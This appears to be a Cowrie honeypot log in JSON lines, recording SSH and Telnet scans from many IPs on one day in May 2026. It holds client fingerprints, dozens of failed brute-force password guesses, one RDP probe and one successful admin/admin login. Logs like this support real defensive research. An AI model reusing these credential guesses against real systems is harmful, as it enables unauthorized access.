{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav1234","message":"login attempt [pranav/pranav1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:28.510240Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav12345","message":"login attempt [pranav/pranav12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:29.596468Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:30.681406Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.03109335899353,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:45.851170Z","src_ip":"192.119.13.58","session":"95e11de31d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50554,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb534aa96fcd","protocol":"ssh","message":"New connection: 103.27.238.120:50554 (10.17.0.5:22) [session: fb534aa96fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:47.266057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:47.270894Z","src_ip":"103.27.238.120","session":"fb534aa96fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:47.545522Z","src_ip":"103.27.238.120","session":"fb534aa96fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37412,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7d9e3f6faf","protocol":"telnet","message":"New connection: 192.119.13.58:37412 (10.17.0.5:23) [session: 5c7d9e3f6faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:48.003950Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostik","message":"login attempt [root/kostik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:48.370371Z","src_ip":"103.27.238.120","session":"fb534aa96fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:49.647882Z","src_ip":"103.27.238.120","session":"fb534aa96fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.80771851539612,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:50.581864Z","src_ip":"192.119.13.58","session":"096d359817bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.41199588775635,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:54:07.758567Z","src_ip":"192.119.13.58","session":"546905901c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.29398798942566,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:54:13.968632Z","src_ip":"186.195.16.41","session":"66f209137441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.41578269004822,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:54:31.419606Z","src_ip":"192.119.13.58","session":"5c7d9e3f6faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37768,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63e903e9d2b","protocol":"telnet","message":"New connection: 192.119.13.58:37768 (10.17.0.5:23) [session: c63e903e9d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:54:56.145913Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ec385e4392","protocol":"telnet","message":"New connection: 192.119.13.58:41116 (10.17.0.5:23) [session: c7ec385e4392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:54:57.011659Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53850,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1dab8d3a84","protocol":"telnet","message":"New connection: 192.119.13.58:53850 (10.17.0.5:23) [session: 3d1dab8d3a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:00.377162Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40626,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50801420738","protocol":"telnet","message":"New connection: 192.119.13.58:40626 (10.17.0.5:23) [session: f50801420738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:04.332674Z"}
{"eventid":"cowrie.session.closed","duration":7.131452798843384,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:07.508484Z","src_ip":"192.119.13.58","session":"3d1dab8d3a84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69880747795105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:28.710340Z","src_ip":"192.119.13.58","session":"c7ec385e4392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.112144231796265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:33.257959Z","src_ip":"192.119.13.58","session":"c63e903e9d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36622,"dst_ip":"10.17.0.5","dst_port":22,"session":"f957a14e8764","protocol":"ssh","message":"New connection: 147.45.199.80:36622 (10.17.0.5:22) [session: f957a14e8764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:40.630405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:40.635621Z","src_ip":"147.45.199.80","session":"f957a14e8764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:40.735477Z","src_ip":"147.45.199.80","session":"f957a14e8764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.42221522331238,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:40.754744Z","src_ip":"192.119.13.58","session":"f50801420738","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:41.034122Z","src_ip":"147.45.199.80","session":"f957a14e8764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:42.139808Z","src_ip":"147.45.199.80","session":"f957a14e8764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55092,"dst_ip":"10.17.0.5","dst_port":22,"session":"325c70009a25","protocol":"ssh","message":"New connection: 167.172.81.52:55092 (10.17.0.5:22) [session: 325c70009a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:49.289818Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:49.361204Z","src_ip":"167.172.81.52","session":"325c70009a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:55:49.371372Z","src_ip":"167.172.81.52","session":"325c70009a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43664,"dst_ip":"10.17.0.5","dst_port":22,"session":"56c293e0905b","protocol":"ssh","message":"New connection: 193.37.70.224:43664 (10.17.0.5:22) [session: 56c293e0905b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:11.260926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:11.265904Z","src_ip":"193.37.70.224","session":"56c293e0905b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:11.355611Z","src_ip":"193.37.70.224","session":"56c293e0905b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abc","message":"login attempt [root/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:11.625581Z","src_ip":"193.37.70.224","session":"56c293e0905b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:12.721590Z","src_ip":"193.37.70.224","session":"56c293e0905b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40430,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e7966a16e3","protocol":"ssh","message":"New connection: 94.159.98.239:40430 (10.17.0.5:22) [session: b6e7966a16e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:16.597528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:16.759023Z","src_ip":"94.159.98.239","session":"b6e7966a16e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:16.765748Z","src_ip":"94.159.98.239","session":"b6e7966a16e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfhfufylf","message":"login attempt [root/rfhfufylf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:17.856250Z","src_ip":"94.159.98.239","session":"b6e7966a16e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:19.123797Z","src_ip":"94.159.98.239","session":"b6e7966a16e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a76727fe5bfe","protocol":"telnet","message":"New connection: 192.119.13.58:35950 (10.17.0.5:23) [session: a76727fe5bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:43.213655Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39510,"dst_ip":"159.203.135.109","dst_port":22,"session":"e36c9352b145","protocol":"ssh","message":"New connection: 103.153.68.219:39510 (159.203.135.109:22) [session: e36c9352b145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:52.123727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:52.129674Z","src_ip":"103.153.68.219","session":"e36c9352b145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:52.377513Z","src_ip":"103.153.68.219","session":"e36c9352b145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhreh","message":"login attempt [root/gfhreh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:53.121273Z","src_ip":"103.153.68.219","session":"e36c9352b145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:54.373070Z","src_ip":"103.153.68.219","session":"e36c9352b145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39798,"dst_ip":"10.17.0.5","dst_port":23,"session":"22b4ff9ba2cb","protocol":"telnet","message":"New connection: 192.119.13.58:39798 (10.17.0.5:23) [session: 22b4ff9ba2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:56:59.569925Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4015fd1f61f9","protocol":"telnet","message":"New connection: 192.119.13.58:52106 (10.17.0.5:23) [session: 4015fd1f61f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:18.356820Z"}
{"eventid":"cowrie.session.closed","duration":50.38036894798279,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:33.593890Z","src_ip":"192.119.13.58","session":"a76727fe5bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53180,"dst_ip":"10.17.0.5","dst_port":22,"session":"20cc41e52e58","protocol":"ssh","message":"New connection: 87.251.64.176:53180 (10.17.0.5:22) [session: 20cc41e52e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:41.344103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:41.348849Z","src_ip":"87.251.64.176","session":"20cc41e52e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:41.445006Z","src_ip":"87.251.64.176","session":"20cc41e52e58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:41.734630Z","src_ip":"87.251.64.176","session":"20cc41e52e58","protocol":"ssh"}
